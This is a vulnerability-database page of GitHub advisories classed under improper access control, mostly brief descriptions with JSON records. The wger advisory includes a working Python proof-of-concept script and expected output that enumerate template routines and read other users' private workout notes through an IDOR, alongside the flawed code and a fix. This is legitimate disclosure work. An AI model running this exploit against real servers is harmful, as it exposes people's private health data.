CWE-284
DiscouragedImproper Access Control
Abstraction: Pillar · Status: Incomplete
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
8432 vulnerabilities reference this CWE, most recent first.
GHSA-CJ59-9MMF-WM7J
Vulnerability from github – Published: 2026-06-17 18:35 – Updated: 2026-06-17 18:35Vulnerability in the Oracle Advanced Outbound Telephony product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Advanced Outbound Telephony. Successful attacks of this vulnerability can result in takeover of Oracle Advanced Outbound Telephony. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
{
"affected": [],
"aliases": [
"CVE-2026-46947"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-17T10:54:14Z",
"severity": "HIGH"
},
"details": "Vulnerability in the Oracle Advanced Outbound Telephony product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Advanced Outbound Telephony. Successful attacks of this vulnerability can result in takeover of Oracle Advanced Outbound Telephony. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).",
"id": "GHSA-cj59-9mmf-wm7j",
"modified": "2026-06-17T18:35:39Z",
"published": "2026-06-17T18:35:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46947"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cspujun2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CJ86-2V89-GM24
Vulnerability from github – Published: 2026-04-21 21:31 – Updated: 2026-04-21 21:31Vulnerability in the Oracle Life Sciences InForm product of Oracle Life Science Applications (component: App Server). Supported versions that are affected are 7.0.1.0 and 7.0.1.1. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Life Sciences InForm. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Life Sciences InForm accessible data as well as unauthorized read access to a subset of Oracle Life Sciences InForm accessible data. CVSS 3.1 Base Score 6.5 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N).
{
"affected": [],
"aliases": [
"CVE-2026-34324"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-21T21:16:38Z",
"severity": "MODERATE"
},
"details": "Vulnerability in the Oracle Life Sciences InForm product of Oracle Life Science Applications (component: App Server). Supported versions that are affected are 7.0.1.0 and 7.0.1.1. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Life Sciences InForm. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Life Sciences InForm accessible data as well as unauthorized read access to a subset of Oracle Life Sciences InForm accessible data. CVSS 3.1 Base Score 6.5 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N).",
"id": "GHSA-cj86-2v89-gm24",
"modified": "2026-04-21T21:31:27Z",
"published": "2026-04-21T21:31:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34324"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuapr2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-CJ9G-27PH-4CGV
Vulnerability from github – Published: 2026-05-14 16:16 – Updated: 2026-05-14 16:16Summary
Any authenticated user can read another user's private workout session notes, exercise history, and training statistics by calling the /logs/ and /stats/ actions on a routine they do not own.
The RoutinePermission class grants read access to any authenticated user when a routine has is_template=True, regardless of ownership. The /logs/ and /stats/ API actions use the same permission check but return the routine owner's personal training data instead of the requesting user's data, creating an insecure direct object reference (IDOR).
An attacker with a free account can enumerate all public template routine IDs via GET /api/v2/routine/?is_template=true, then call GET /api/v2/routine/{id}/logs/ and GET /api/v2/routine/{id}/stats/ to access the owner's private health data including workout notes, weights, repetitions, and performance statistics.
Description
wger exposes a REST API endpoint that allows any authenticated user to retrieve the private workout session notes, exercise logs, and training statistics belonging to another user, as long as that user has at least one routine marked as a public template.
The vulnerability exists in RoutineViewSet (wger/manager/api/views.py). The view defines two custom actions /logs/ and /stats/ that are intended to return data for the requesting user's own training history within a routine. However, the underlying permission check (RoutinePermission.has_object_permission) grants read access to any authenticated user when the routine has is_template=True, regardless of ownership. When the /logs/ or /stats/ actions are invoked against a routine the attacker does not own, they return the owner's private workout history, not the attacker's.
Root Cause
File: wger/manager/api/permissions.py, lines 30–41
def has_object_permission(self, request, view, obj):
if obj.user == request.user:
return True
if obj.is_template: # ← any template is readable
return request.method in permissions.SAFE_METHODS # by any authenticated user
return False
File: wger/manager/api/views.py, lines 173–199
@action(detail=True, url_path='logs')
def logs(self, request, pk):
out = LogDisplaySerializer(
self.get_object().logs_display(), # ← returns OWNER's logs, not request.user's
many=True,
).data
return Response(out)
@action(detail=True, url_path='stats')
def stats(self, request, pk):
out = LogStatsDataSerializer(
self.get_object().calculate_log_statistics() # ← owner's statistics
).data
return Response(out)
self.get_object() retrieves the routine belonging to the owner (e.g., user A). Since is_template=True passes the permission check for any authenticated user, the attacker's request reaches logs_display() and calculate_log_statistics(), which return the owner's workout history, not the attacker's.
The intended behavior is that templates are public workout plans (exercise structure, sets, reps), but the /logs/ and /stats/ actions expose the owner's personal training history logged against that plan.
Impact
An authenticated attacker can:
-
Enumerate all public template routines across all users:
GET /api/v2/routine/?is_template=true&is_public=true -
Read private workout session notes (freeform text entered by the victim after each workout session)
-
Read full workout history including exercise names, weights, repetitions, and dates
-
Read training statistics including volume, intensity, and set counts per muscle group and mesocycle
This data is health-related and personal. Under GDPR and similar regulations, unauthorized access to personal health data constitutes a data breach.
Proof of Concept
Scenario
There are two users in the system:
-
alice : a regular wger user who has been using the platform for months. She created a routine called "My 5/3/1 Program" and marked it as a public template so others can copy her exercise structure. She logs all her workouts with personal notes after each session.
-
bob : a second registered user who has never interacted with alice's account.
The attack:
Bob calls the routine listing endpoint to find all public templates. He gets back alice's routine ID. He then calls /api/v2/routine/{id}/logs/ an endpoint that should only show his own logs but instead receives alice's full workout history, including all her session notes ("Felt strong today, PR on squat"), weights, and performance data.
Bob does not need to know alice's username. He only needs her routine ID, which is a sequential integer discoverable by iterating ?is_template=true.
Step-by-step
-
Bob registers a free account on the wger instance and obtains a JWT access token via
POST /api/v2/token. -
Bob calls
GET /api/v2/routine/?is_template=true&is_public=truethis lists all public template routines from all users across the platform, including their IDs. -
For each routine ID returned, Bob calls
GET /api/v2/routine/{id}/logs/this returns the routine owner's workout sessions, including freeform personal notes and all logged exercises with weights and reps. -
Bob calls
GET /api/v2/routine/{id}/stats/to get aggregated statistics (total volume, intensity by muscle group, weekly progression) for the routine's owner.
No special permissions are needed. A fresh account (1-minute-old) can exploit this.
Python PoC
#!/usr/bin/env python3
"""
PoC: IDOR - Workout Session Data Exposure via Template Routine API
Affected: wger <= 2.5.0a2
Target: GET /api/v2/routine/{id}/logs/
GET /api/v2/routine/{id}/stats/
"""
import requests
import json
BASE_URL = "http://TARGET_IP" # replace with target
def get_token(username, password):
r = requests.post(
f"{BASE_URL}/api/v2/token",
json={"username": username, "password": password},
)
r.raise_for_status()
return r.json()["access"]
def exploit(attacker_token):
headers = {"Authorization": f"Bearer {attacker_token}"}
# Step 1: Enumerate all public template routines (from ALL users)
print("[*] Step 1: Enumerating public template routines...")
r = requests.get(
f"{BASE_URL}/api/v2/routine/",
params={"is_template": "true", "is_public": "true"},
headers=headers,
)
routines = r.json().get("results", [])
print(f"[+] Found {len(routines)} public template routine(s)\n")
for routine in routines:
routine_id = routine["id"]
routine_name = routine["name"]
print(f"[*] Targeting routine #{routine_id}: '{routine_name}'")
# Step 2: Fetch the OWNER's workout session logs (IDOR)
logs_r = requests.get(
f"{BASE_URL}/api/v2/routine/{routine_id}/logs/",
headers=headers,
)
if logs_r.status_code == 200:
sessions = logs_r.json()
print(f"[+] VULNERABLE! Got {len(sessions)} session(s):")
for session in sessions:
s = session.get("session", {})
print(f" Date: {s.get('date')}")
print(f" Notes: {s.get('notes')}") # ← private user notes
print(f" Impression: {s.get('impression')}")
print(f" Logs: {len(session.get('logs', []))} exercise entries")
print()
# Step 3: Fetch the OWNER's training statistics (IDOR)
stats_r = requests.get(
f"{BASE_URL}/api/v2/routine/{routine_id}/stats/",
headers=headers,
)
if stats_r.status_code == 200:
stats = stats_r.json()
print(f"[+] Training statistics for routine #{routine_id}:")
volume = stats.get("volume", {}).get("mesocycle", {})
print(f" Total volume: {volume.get('total')} kg")
print(f" Upper body volume: {volume.get('upper_body')} kg")
print(f" Lower body volume: {volume.get('lower_body')} kg")
print()
print("-" * 60)
if __name__ == "__main__":
# Attacker uses their OWN credentials (no privilege needed)
print("[*] Authenticating as attacker (bob)...")
token = get_token("bob", "bobpassword")
print(f"[+] Token acquired\n")
exploit(token)
Expected output
[*] Authenticating as attacker (bob)...
[+] Token acquired
[*] Step 1: Enumerating public template routines...
[+] Found 1 public template routine(s)
[*] Targeting routine #1: 'Admin Secret Routine'
[+] VULNERABLE! Got 1 session(s):
Date: 2024-06-15
Notes: SECRET workout note ← alice's private note
Impression: 3
Logs: 0 exercise entries
[+] Training statistics for routine #1:
Total volume: 0.00 kg
Upper body volume: 0.00 kg
Lower body volume: 0.00 kg
Recommended Fix
The /logs/ and /stats/ actions must filter results to the requesting user, not the routine owner.
# wger/manager/api/views.py
@action(detail=True, url_path='logs')
def logs(self, request, pk):
routine = self.get_object()
# Only return logs for the requesting user, regardless of routine ownership
out = LogDisplaySerializer(
routine.logs_display(user=request.user),
many=True,
).data
return Response(out)
@action(detail=True, url_path='stats')
def stats(self, request, pk):
routine = self.get_object()
out = LogStatsDataSerializer(
routine.calculate_log_statistics(user=request.user)
).data
return Response(out)
Additionally, RoutinePermission.has_object_permission should explicitly deny access to the /logs/ and /stats/ actions for non-owners, regardless of is_template:
def has_object_permission(self, request, view, obj):
if obj.user == request.user:
return True
# Template routines are readable, but only their structure
# never their owner's personal training history
if obj.is_template and view.action not in ('logs', 'stats'):
return request.method in permissions.SAFE_METHODS
return False
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "wger"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-43977"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-284"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-14T16:16:21Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary \nAny authenticated user can read another user\u0027s private workout session notes, exercise history, and training statistics by calling the /logs/ and /stats/ actions on a routine they do not own.\n\nThe RoutinePermission class grants read access to any authenticated user when a routine has is_template=True, regardless of ownership. The /logs/ and /stats/ API actions use the same permission check but return the routine owner\u0027s personal training data instead of the requesting user\u0027s data, creating an insecure direct object reference (IDOR).\n\nAn attacker with a free account can enumerate all public template routine IDs via GET /api/v2/routine/?is_template=true, then call \nGET /api/v2/routine/{id}/logs/ and GET /api/v2/routine/{id}/stats/ to access the owner\u0027s private health data including workout notes, weights, repetitions, and performance statistics.\n\n### Description\n\nwger exposes a REST API endpoint that allows any authenticated user to retrieve the **private workout session notes, exercise logs, and training statistics** belonging to another user, as long as that user has at least one routine marked as a public template.\n\nThe vulnerability exists in `RoutineViewSet` (`wger/manager/api/views.py`). The view defines two custom actions `/logs/` and `/stats/` that are intended to return data for the **requesting user\u0027s own** training history within a routine. However, the underlying permission check (`RoutinePermission.has_object_permission`) grants read access to **any** authenticated user when the routine has `is_template=True`, regardless of ownership. When the `/logs/` or `/stats/` actions are invoked against a routine the attacker does not own, they return the **owner\u0027s** private workout history, not the attacker\u0027s.\n\n### Root Cause\n\n**File:** `wger/manager/api/permissions.py`, lines 30\u201341\n\n```python\ndef has_object_permission(self, request, view, obj):\n if obj.user == request.user:\n return True\n\n if obj.is_template: # \u2190 any template is readable\n return request.method in permissions.SAFE_METHODS # by any authenticated user\n\n return False\n```\n\n**File:** `wger/manager/api/views.py`, lines 173\u2013199\n\n```python\n@action(detail=True, url_path=\u0027logs\u0027)\ndef logs(self, request, pk):\n out = LogDisplaySerializer(\n self.get_object().logs_display(), # \u2190 returns OWNER\u0027s logs, not request.user\u0027s\n many=True,\n ).data\n return Response(out)\n\n@action(detail=True, url_path=\u0027stats\u0027)\ndef stats(self, request, pk):\n out = LogStatsDataSerializer(\n self.get_object().calculate_log_statistics() # \u2190 owner\u0027s statistics\n ).data\n return Response(out)\n```\n\n`self.get_object()` retrieves the routine belonging to the **owner** (e.g., user A). Since `is_template=True` passes the permission check for any authenticated user, the attacker\u0027s request reaches `logs_display()` and `calculate_log_statistics()`, which return the **owner\u0027s** workout history, not the attacker\u0027s.\n\nThe intended behavior is that templates are public workout *plans* (exercise structure, sets, reps), but the `/logs/` and `/stats/` actions expose the *owner\u0027s personal training history* logged against that plan.\n\n\n### Impact\n\nAn authenticated attacker can:\n\n1. **Enumerate** all public template routines across all users:\n `GET /api/v2/routine/?is_template=true\u0026is_public=true`\n\n2. **Read private workout session notes** (freeform text entered by the victim after each workout session)\n\n3. **Read full workout history** including exercise names, weights, repetitions, and dates\n\n4. **Read training statistics** including volume, intensity, and set counts per muscle group and mesocycle\n\nThis data is health-related and personal. Under GDPR and similar regulations, unauthorized access to personal health data constitutes a data breach.\n\n\n### Proof of Concept\n\n#### Scenario\n\nThere are two users in the system:\n\n- **alice** : a regular wger user who has been using the platform for months. She created a routine called \"My 5/3/1 Program\" and marked it as a public template so others can copy her exercise structure. She logs all her workouts with personal notes after each session.\n\n- **bob** : a second registered user who has never interacted with alice\u0027s account.\n\n**The attack:**\n\nBob calls the routine listing endpoint to find all public templates. He gets back alice\u0027s routine ID. He then calls `/api/v2/routine/{id}/logs/` an endpoint that should only show his own logs but instead receives alice\u0027s full workout history, including all her session notes (\"Felt strong today, PR on squat\"), weights, and performance data.\n\nBob does **not** need to know alice\u0027s username. He only needs her routine ID, which is a sequential integer discoverable by iterating `?is_template=true`.\n\n#### Step-by-step\n\n1. Bob registers a free account on the wger instance and obtains a JWT access token via `POST /api/v2/token`.\n\n2. Bob calls `GET /api/v2/routine/?is_template=true\u0026is_public=true` this lists all public template routines from **all users** across the platform, including their IDs.\n\n3. For each routine ID returned, Bob calls `GET /api/v2/routine/{id}/logs/` this returns the **routine owner\u0027s** workout sessions, including freeform personal notes and all logged exercises with weights and reps.\n\n4. Bob calls `GET /api/v2/routine/{id}/stats/` to get aggregated statistics (total volume, intensity by muscle group, weekly progression) for the routine\u0027s owner.\n\nNo special permissions are needed. A fresh account (1-minute-old) can exploit this.\n\n#### Python PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: IDOR - Workout Session Data Exposure via Template Routine API\nAffected: wger \u003c= 2.5.0a2\nTarget: GET /api/v2/routine/{id}/logs/\n GET /api/v2/routine/{id}/stats/\n\"\"\"\n\nimport requests\nimport json\n\nBASE_URL = \"http://TARGET_IP\" # replace with target\n\n\ndef get_token(username, password):\n r = requests.post(\n f\"{BASE_URL}/api/v2/token\",\n json={\"username\": username, \"password\": password},\n )\n r.raise_for_status()\n return r.json()[\"access\"]\n\n\ndef exploit(attacker_token):\n headers = {\"Authorization\": f\"Bearer {attacker_token}\"}\n\n # Step 1: Enumerate all public template routines (from ALL users)\n print(\"[*] Step 1: Enumerating public template routines...\")\n r = requests.get(\n f\"{BASE_URL}/api/v2/routine/\",\n params={\"is_template\": \"true\", \"is_public\": \"true\"},\n headers=headers,\n )\n routines = r.json().get(\"results\", [])\n print(f\"[+] Found {len(routines)} public template routine(s)\\n\")\n\n for routine in routines:\n routine_id = routine[\"id\"]\n routine_name = routine[\"name\"]\n print(f\"[*] Targeting routine #{routine_id}: \u0027{routine_name}\u0027\")\n\n # Step 2: Fetch the OWNER\u0027s workout session logs (IDOR)\n logs_r = requests.get(\n f\"{BASE_URL}/api/v2/routine/{routine_id}/logs/\",\n headers=headers,\n )\n\n if logs_r.status_code == 200:\n sessions = logs_r.json()\n print(f\"[+] VULNERABLE! Got {len(sessions)} session(s):\")\n for session in sessions:\n s = session.get(\"session\", {})\n print(f\" Date: {s.get(\u0027date\u0027)}\")\n print(f\" Notes: {s.get(\u0027notes\u0027)}\") # \u2190 private user notes\n print(f\" Impression: {s.get(\u0027impression\u0027)}\")\n print(f\" Logs: {len(session.get(\u0027logs\u0027, []))} exercise entries\")\n print()\n\n # Step 3: Fetch the OWNER\u0027s training statistics (IDOR)\n stats_r = requests.get(\n f\"{BASE_URL}/api/v2/routine/{routine_id}/stats/\",\n headers=headers,\n )\n\n if stats_r.status_code == 200:\n stats = stats_r.json()\n print(f\"[+] Training statistics for routine #{routine_id}:\")\n volume = stats.get(\"volume\", {}).get(\"mesocycle\", {})\n print(f\" Total volume: {volume.get(\u0027total\u0027)} kg\")\n print(f\" Upper body volume: {volume.get(\u0027upper_body\u0027)} kg\")\n print(f\" Lower body volume: {volume.get(\u0027lower_body\u0027)} kg\")\n print()\n\n print(\"-\" * 60)\n\n\nif __name__ == \"__main__\":\n # Attacker uses their OWN credentials (no privilege needed)\n print(\"[*] Authenticating as attacker (bob)...\")\n token = get_token(\"bob\", \"bobpassword\")\n print(f\"[+] Token acquired\\n\")\n\n exploit(token)\n```\n\n#### Expected output\n\n```\n[*] Authenticating as attacker (bob)...\n[+] Token acquired\n\n[*] Step 1: Enumerating public template routines...\n[+] Found 1 public template routine(s)\n\n[*] Targeting routine #1: \u0027Admin Secret Routine\u0027\n[+] VULNERABLE! Got 1 session(s):\n Date: 2024-06-15\n Notes: SECRET workout note \u2190 alice\u0027s private note\n Impression: 3\n Logs: 0 exercise entries\n\n[+] Training statistics for routine #1:\n Total volume: 0.00 kg\n Upper body volume: 0.00 kg\n Lower body volume: 0.00 kg\n```\n\n\u003cimg width=\"671\" height=\"594\" alt=\"image\" src=\"https://github.com/user-attachments/assets/473cfd87-a63a-452d-a4f3-1aad23c4be24\" /\u003e\n\n\n### Recommended Fix\n\nThe `/logs/` and `/stats/` actions must filter results to the **requesting user**, not the routine owner.\n\n```python\n# wger/manager/api/views.py\n\n@action(detail=True, url_path=\u0027logs\u0027)\ndef logs(self, request, pk):\n routine = self.get_object()\n # Only return logs for the requesting user, regardless of routine ownership\n out = LogDisplaySerializer(\n routine.logs_display(user=request.user),\n many=True,\n ).data\n return Response(out)\n\n@action(detail=True, url_path=\u0027stats\u0027)\ndef stats(self, request, pk):\n routine = self.get_object()\n out = LogStatsDataSerializer(\n routine.calculate_log_statistics(user=request.user)\n ).data\n return Response(out)\n```\n\nAdditionally, `RoutinePermission.has_object_permission` should explicitly deny access to the `/logs/` and `/stats/` actions for non-owners, regardless of `is_template`:\n\n```python\ndef has_object_permission(self, request, view, obj):\n if obj.user == request.user:\n return True\n\n # Template routines are readable, but only their structure \n # never their owner\u0027s personal training history\n if obj.is_template and view.action not in (\u0027logs\u0027, \u0027stats\u0027):\n return request.method in permissions.SAFE_METHODS\n\n return False\n```",
"id": "GHSA-cj9g-27ph-4cgv",
"modified": "2026-05-14T16:16:21Z",
"published": "2026-05-14T16:16:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/wger-project/wger/security/advisories/GHSA-cj9g-27ph-4cgv"
},
{
"type": "PACKAGE",
"url": "https://github.com/wger-project/wger"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "wger Vulnerable to IDOR: Authenticated Users Can Read Any User\u0027s Private Workout Session Data via Template Routine API"
}
GHSA-CJ9X-566G-2M4M
Vulnerability from github – Published: 2023-12-19 03:30 – Updated: 2023-12-19 03:30A vulnerability was found in Ethex Contracts. It has been classified as critical. This affects an unknown part of the file EthexJackpot.sol of the component Monthly Jackpot Handler. The manipulation leads to improper access controls. It is possible to initiate the attack remotely. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The patch is named 6b8664b698d3d953e16c284fadc6caeb9e58e3db. It is recommended to apply a patch to fix this issue. The associated identifier of this vulnerability is VDB-248271.
{
"affected": [],
"aliases": [
"CVE-2019-25157"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-12-19T03:15:07Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in Ethex Contracts. It has been classified as critical. This affects an unknown part of the file EthexJackpot.sol of the component Monthly Jackpot Handler. The manipulation leads to improper access controls. It is possible to initiate the attack remotely. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The patch is named 6b8664b698d3d953e16c284fadc6caeb9e58e3db. It is recommended to apply a patch to fix this issue. The associated identifier of this vulnerability is VDB-248271.",
"id": "GHSA-cj9x-566g-2m4m",
"modified": "2023-12-19T03:30:17Z",
"published": "2023-12-19T03:30:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-25157"
},
{
"type": "WEB",
"url": "https://github.com/ethex-bet/ethex-contracts/commit/6b8664b698d3d953e16c284fadc6caeb9e58e3db"
},
{
"type": "WEB",
"url": "https://bitcointalk.org/index.php?topic=5120151.msg50827730#msg50827730"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.248271"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.248271"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-CJF9-55GG-3F5X
Vulnerability from github – Published: 2025-11-02 06:30 – Updated: 2025-11-02 06:30A vulnerability was identified in code-projects Simple Online Hotel Reservation System 2.0. The impacted element is an unknown function of the file /admin/edit_room.php of the component Photo Handler. The manipulation leads to unrestricted upload. The attack is possible to be carried out remotely. The exploit is publicly available and might be used.
{
"affected": [],
"aliases": [
"CVE-2025-12593"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-02T05:15:32Z",
"severity": "MODERATE"
},
"details": "A vulnerability was identified in code-projects Simple Online Hotel Reservation System 2.0. The impacted element is an unknown function of the file /admin/edit_room.php of the component Photo Handler. The manipulation leads to unrestricted upload. The attack is possible to be carried out remotely. The exploit is publicly available and might be used.",
"id": "GHSA-cjf9-55gg-3f5x",
"modified": "2025-11-02T06:30:15Z",
"published": "2025-11-02T06:30:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-12593"
},
{
"type": "WEB",
"url": "https://code-projects.org"
},
{
"type": "WEB",
"url": "https://github.com/asd1238525/cve/blob/main/upload2.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.330888"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.330888"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.677547"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-CJGQ-QWC4-HF8H
Vulnerability from github – Published: 2023-10-10 12:32 – Updated: 2024-04-04 08:28A vulnerability has been identified in SIMATIC CP 1604 (All versions), SIMATIC CP 1616 (All versions), SIMATIC CP 1623 (All versions), SIMATIC CP 1626 (All versions), SIMATIC CP 1628 (All versions). The kernel memory of affected devices is exposed to user-mode via direct memory access (DMA) which could allow a local attacker with administrative privileges to execute arbitrary code on the host system without any restrictions.
{
"affected": [],
"aliases": [
"CVE-2023-37194"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-10T11:15:11Z",
"severity": "MODERATE"
},
"details": "A vulnerability has been identified in SIMATIC CP 1604 (All versions), SIMATIC CP 1616 (All versions), SIMATIC CP 1623 (All versions), SIMATIC CP 1626 (All versions), SIMATIC CP 1628 (All versions). The kernel memory of affected devices is exposed to user-mode via direct memory access (DMA) which could allow a local attacker with administrative privileges to execute arbitrary code on the host system without any restrictions.",
"id": "GHSA-cjgq-qwc4-hf8h",
"modified": "2024-04-04T08:28:00Z",
"published": "2023-10-10T12:32:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-37194"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/pdf/ssa-784849.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CJHQ-MX8M-2RP6
Vulnerability from github – Published: 2025-02-13 00:33 – Updated: 2025-02-13 00:33Improper access control in BMC Firmware for the Intel(R) Server Board S2600WF, Intel(R) Server Board S2600ST, Intel(R) Server Board S2600BP, before version 02.01.0017 and Intel(R) Server Board M50CYP and Intel(R) Server Board D50TNP before version R01.01.0009 may allow an authenticated user to enable escalation of privilege via local access.
{
"affected": [],
"aliases": [
"CVE-2023-29164"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-12T22:15:29Z",
"severity": "MODERATE"
},
"details": "Improper access control in BMC Firmware for the Intel(R) Server Board S2600WF, Intel(R) Server Board S2600ST, Intel(R) Server Board S2600BP, before version 02.01.0017 and Intel(R) Server Board M50CYP and Intel(R) Server Board D50TNP before version R01.01.0009 may allow an authenticated user to enable escalation of privilege via local access.",
"id": "GHSA-cjhq-mx8m-2rp6",
"modified": "2025-02-13T00:33:03Z",
"published": "2025-02-13T00:33:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-29164"
},
{
"type": "WEB",
"url": "https://intel.com/content/www/us/en/security-center/advisory/intel-sa-00990.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-CJJH-RRG6-HRX6
Vulnerability from github – Published: 2026-06-17 18:35 – Updated: 2026-06-17 18:35Insufficient policy enforcement in File System Access in Google Chrome prior to 149.0.7827.155 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted PDF file. (Chromium security severity: High)
{
"affected": [],
"aliases": [
"CVE-2026-12460"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-17T13:20:03Z",
"severity": "MODERATE"
},
"details": "Insufficient policy enforcement in File System Access in Google Chrome prior to 149.0.7827.155 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted PDF file. (Chromium security severity: High)",
"id": "GHSA-cjjh-rrg6-hrx6",
"modified": "2026-06-17T18:35:46Z",
"published": "2026-06-17T18:35:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12460"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/06/stable-channel-update-for-desktop_01750511403.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/517484284"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-CJJJ-JP55-4RFF
